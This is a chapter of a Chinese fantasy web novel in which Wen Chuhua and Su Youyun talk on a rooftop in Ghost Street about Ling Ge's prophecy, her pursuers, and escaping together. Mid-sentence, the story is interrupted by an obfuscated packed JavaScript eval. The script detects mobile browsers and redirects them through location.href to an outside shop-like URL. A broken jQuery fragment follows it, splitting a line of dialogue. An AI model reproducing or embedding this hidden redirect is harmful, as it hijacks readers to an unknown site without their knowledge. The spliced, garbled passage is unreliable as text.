爱奇文学 > 玄幻小说 > 被流放后,邻居天天看我打架 > 18. 是特地来找我
    温初花爬上屋顶的时候,月亮已经偏西了。


    鬼街的夜晚总是闷得让人喘不过气,今天却难得有风。风从拱门那边吹过来,带着浓雾里那股湿冷的气息,把楼顶的油毡吹得微微鼓起来,又落下去,像一个人在一下一下地叹气。


    她找了个位置坐下来,把腿伸直,后脑勺枕在胳膊上。小臂上的伤口已经不怎么疼了,苏游云的药膏很管用,三天就结了厚痂。老周的伤也在好转,小六每天来给她汇报情况,说老周已经能下地走动了,逢人就说温初花的好。姓赵的那群人现在见了她就喊“温姐”,喊得她浑身不自在。


    她闭上眼睛,风从脸上吹过去,凉丝丝的。


    “又睡不着?”


    声音从身后传来,不大,但在这安静的楼顶上听得很清楚。她没有睁眼,也没有动。


    “你不也是。”


    脚步声从楼梯口那边过来,很轻,踩在油毡上几乎没有声音。苏游云走到她旁边,在离她几步远的地方坐了下来。她没有看他,但能感觉到他的目光从她身上扫过,然后移开了,落在远处的什么地方。


    两个人就这么坐着。风一阵一阵地吹,远处有几声狗叫,叫了几声就停了。楼下不知道哪家在放收音机,声音开得很小,断断续续的,像是在放一首很老的歌,又像是在放天气预报。


    温初花睁开眼睛,偏头看了他一眼。月光打在他的侧脸上,把那副眼镜的边框照得发亮。他的表情跟平时一样,没什么表情,但她注意到他的嘴唇比平时抿得紧了一些,下巴的线条也更硬了。有什么事在他脑子里转,他不说,但她能感觉到,像能感觉到空气中那股微弱的、暴风雨来临前的闷热。


    她想了想,决定不绕弯子了。她这个人本来就不会绕弯子。


    “你到底想要什么?”


    苏游云偏头看了她一眼。月光在他的眼镜片上反射了一下,遮住了他的眼睛,她看不清他的表情。他沉默了一会儿,然后把目光收回去,重新落在远处的拱门上。


    “来鬼街之前,”他开口了,声音不大,但每个字都说得很清楚,“凌歌的预言我就听说过。”


    温初花的手指在油毡上轻轻敲了一下。凌歌。异人族群最著名的预言家,据说他的预言从来没有错过。三十年前他说“藤洲将成为异人的最后庇护所”,两年后五洲联盟设立了藤洲岛。二十年前他说“鬼街之下埋藏着一切的根源”,后来人们发现了那条缚灵粒子原始矿脉。十年前他说“一个人将改变异人的命运”,从那以后,所有异人都在等那个人的出现。


    温初花当然听过这个名字。因为三个月前那个雨夜,她从尸体身上搜出的那封信上,也写着这个名字。


    “听过。”她说。


    苏游云的嘴角微微动了一下,像是在确认什么事,又像是在犹豫要不要继续说。他沉默了几秒,然后说了一句让温初花心跳加速的话。


    “我来鬼街,是为了找一个人。一个能改变一切的人。”


    温初花的手在油毡上停住了。


    风忽然大了一些,把她外套的下摆吹起来,又落下去。楼下的收音机不知道什么时候关了,整栋楼忽然变得很安静,安静到她能听到自己的心跳声。她转过头看着苏游云的侧脸,想从他的表情里找到一丝开玩笑的痕迹。找不到。他的表情很认真,认真到她第一次觉得这个人不是一堵白墙,而是一个人——一个有自己的目的、自己的计划、自己的执念的人。


    “你要找的是……我?”


    苏游云偏过头来,看着她。月光照在他的脸上,那双眼镜片后面的眼睛里有一种她没见过的光。不是温柔,不是崇拜,是一种更复杂的东西——像是在看一个答案,又像是在看一个问题。


    “凌歌的预言说,”他的声音很轻,“那个人在这里。”


    温初花的喉咙紧了一下。在鬼街。那个人在鬼街。她想起了盲眼琴师说过的话——“外面的预言,说你是未来的至尊。”她当时以为那是琴师在试探她,或者是琴师被什么错误的信息误导了。但现在苏游云也这么说。凌歌的预言,说那个人在鬼街。而她,就在鬼街。


    “凌歌的预言……”温初花的声音有些发涩,“就是让我被追杀的原因。”


    她从来没有对任何人说过这件事。三个月前那个雨夜,她从一具尸体身上搜出一封信。信上写着凌歌的预言内容,以及一个命令——找到那个女人,不惜一切代价。那封信她烧了,但信上的每一个字她都记得。凌歌说,能改变异人族群命运的人,是一个女人,她的能力是——温初花把那封信烧掉的时候,那一行字已经刻进了她的脑子里。


    苏游云转过头来,看着她。“你的被追杀,不是预言的问题。”


    温初花看着他。


    “是人的问题。”苏游云说,语气平静得像在陈述一个事实,“有人相信预言,有人害怕预言。害怕的人想杀你,相信的人想找你。你被追杀,不是因为预言说了什么,而是因为那些人做了什么。”


    温初花沉默了。她从来没有从这个角度想过这件事。她一直以为是预言给她带来了灾祸,是那些该死的字句让她从一个正常的生活跌进了这个永无止境的逃亡。但苏游云说得对——预言只是一段话,是人的选择让这段话变成了刀。


    她靠在墙垛上,后脑勺抵着冰凉的水泥,闭上眼睛。风从脸上吹过去,带着鬼街特有的那股霉味和远处垃圾堆的腐臭。她深吸了一口气,又慢慢地吐出来。


    “所以你相信那个预言?”她睁开眼睛,偏头看着他,“你觉得我是……至尊?”


    苏游云也在看她。月光把他整个人镀上了一层薄薄的银白色,他坐在那里的姿势还是那样,一只腿伸直,一只腿弯着,胳膊搭在膝盖上。但这个人的眼睛里,有什么东西不一样了。不是变热了,是变深了,深到你能看到他的认真。


    “我觉得,”他说,一字一顿,“你有那个可能。”


    温初花盯着他看了几秒,然后移开了目光。


    她不知道该说什么。她从来没有被人这样看过。不是看一个能打的女人,不是看一个逃命的人,不是看一个可以利用的工具。是看她本身。看温初花,不是看“至尊”,不是看“预言中的人”,就是看她。


    这种感觉很奇怪。像一个在黑暗中走了很久的人,忽然有人递过来一盏灯。你可以选择不接,但你没办法假装那盏灯不存在。


    “我不需要当什么至尊,”她说,声音比平时低了一些,“我只想活着离开这里。”


    这是她第一次对任何人说出这句话。来鬼街快四个月了,她一直告诉自己,活着就行,出不出去无所谓。但那是骗自己的。她想出去。她想离开这个破地方,想回到外面的世界,想有一天不用再担心有人从背后捅她一刀。她想活着,不是像鬼街这样苟延残喘地活着,是真正的、有尊严的、不用每天把匕首藏在袖子里的那种活着。


    苏游云看着她的眼睛。


    “那我们可以一起想办法。”


    这句话说得很轻,轻得像风。但它落下来的时候,温初花觉得自己的心被什么东西砸了一下。不是疼,是那种——你一直一个人扛着的东西,忽然有人伸手接过去了一半。


    她看着他,张了张嘴想说什么,又闭上了。她转过头,看着远处那道永远翻涌着白雾的拱门。月光照在雾上,把整片雾染成了银白色,像一条巨大的、安静的河,从天上流下来,流到鬼街的入口,然后停在了那里。


    “你到底是什么人?”温初花问。声音不大,像是在问苏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551698|203552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    游云,又像是在问风,又像是在问自己。


    苏游云没有回答。


    温初花也没有再问。


    两个人就这么并排坐在屋顶上,隔着几步远的距离,看着那道银白色的拱门。风从那个方向吹过来,带着湿冷的雾气,拂过他们的脸,然后散开了。


    过了很久,久到温初花以为苏游云已经走了,她听到他开口了。


    “我在外面的时候,”他说,“也被人追过。不是□□,是另一些人。我不知道他们是谁,但他们不让我靠近藤洲。”


    温初花偏头看了他一眼。他还是那副没什么表情的样子,但她说不出为什么,觉得他说的这句话是真的。


    “我花了很长时间,绕了很多路,最后还是进来了。”苏游云说,“进来之前,我以为我知道自己要找什么。但进来以后,我发现……”


    他没说下去。


    温初花等了一会儿。“发现什么?”


    苏游云转过头看着她。月光在他的眼镜片上反射出一小片光,遮住了他的眼睛。但他的嘴角微微动了一下,不是笑,是一种很淡的、几乎看不出来的弧度。


    “发现有些事情,比我想的要复杂。”


    温初花不知道他这句话是什么意思,但她没有再问。她靠在墙垛上,把两条腿在屋檐外面晃了晃。楼下的巷子是黑的,什么都看不见。但她知道那条巷子通向哪里——左边是老周的铁匠铺,右边是十字路口,直走是鬼街的入口,拐弯是盲眼琴师的院子。


    她来鬼街快四个月了,第一次觉得这个地方不只是个牢笼。


    “苏游云。”她叫了他的名字。


    “嗯。”


    “如果有一天,我是说如果——我能离开鬼街,你会跟我一起吗?”


    苏游云沉默了几秒。


    “会。”


    温初花没有看他。她把目光落在远处的拱门上,那道银白色的雾墙在月光下像一扇关着的大门。她不知道自己有没有能力打开那扇门,但至少现在,她不是一个人站在这扇门前面了。


    风又大了一些,吹得她外套的领子翻起来,打在脸上。她伸手把领子按下去,手指碰到了领口那根别针。别针还在,把外套领口别得牢牢的,就像她这个人,不管被风吹多少次,都还在这儿。


    月亮又往西边沉了一些,光线暗了,远处那道拱门的轮廓开始变得模糊。苏游云站起来,拍了拍裤腿上的灰,往楼梯口走了两步,又停住了。


    “伤口别沾水。”他说。


    温初花低头看了看自己小臂上的纱布,嘴角动了一下。“知道了。”


    他的脚步声在楼梯间里响了几下,越来越远,最后被整栋楼的寂静吞没了。


    温初花一个人坐在屋顶上,把苏游云说的话在脑子里过了一遍。凌歌的预言,鬼街,能改变一切的人,你有那个可能。这些词像几块散落的拼图,她已经能看到它们之间隐约的线条,但还差几块才能拼出完整的画面。


    她不知道苏游云为什么来找她,不知道他说的那些“另一些人”是谁,不知道他到底在图什么。但她知道一件事——这个人说的“一起想办法”,不是在敷衍她。


    她听得出一个人说真话和说假话的区别。


    温初花在屋顶上又坐了一会儿,等风把脸上的热度吹散了,才站起来,拍了拍裤子上的灰,走下楼梯。经过三楼的时候,那扇门的门缝底下没有光,里面是黑的。她在门口站了两秒,然后继续往下走。


    回到屋里,她把匕首从手腕上解下来,搁在枕头底下。行军床吱呀一声,她翻了个身,面朝墙壁。墙上的裂缝还是那条,从墙角一直延伸到天花板,像一个歪歪扭扭的问号。


    她在黑暗中睁着眼睛,过了很久,才慢慢闭上。